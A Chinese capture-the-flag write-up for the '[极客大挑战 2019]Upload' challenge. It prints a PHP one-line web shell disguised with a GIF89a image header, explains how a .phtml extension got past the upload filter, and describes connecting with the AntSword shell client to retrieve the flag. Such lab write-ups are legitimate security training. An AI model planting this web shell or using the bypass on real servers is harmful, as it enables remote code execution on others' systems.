[极客大挑战 2019]Upload
预备知识:
GIF89a?
GIF89a?:
一个GIF89a图形文件就是一个根据图形交换格式(GIF)89a版(1989年7 月发行)进行格式化之后的图形。在GIF89a之前还有87a版(1987年5月发行),但在Web上所见到的大多数图形都是以89a版的格式创建的。 89a版的一个最主要的优势就是可以创建动态图像,例如创建一个旋转的图标、用一只手挥动的旗帜或是变大的字母。特别值得注意的是,一个动态GIF是一个 以GIF89a格式存储的文件,在一个这样的文件里包含的是一组以指定顺序呈现的图片。
那么正文开始:
题目主界面很简单,一个简单的上传
界面需要上传的时image类型的图片文件,构造一个php一句话:
GIF89a?
<script language="php">eval($_REQUEST[shell])</script>
将后缀名更改为jpeg在网站进行上传,随后使用burp抓包,将后缀名更改为php,发现网站显示NO!PHP!,更改为php5结果相同,查资料之后,将后缀名改为phtml,成功上传
之后使用蚁剑进行连接
url:
http://37c7d6c4-1bc2-4b33-a35b-d06176d40e15.node3.buuoj.cn/upload/1.phtml
连接成功
成功获得flag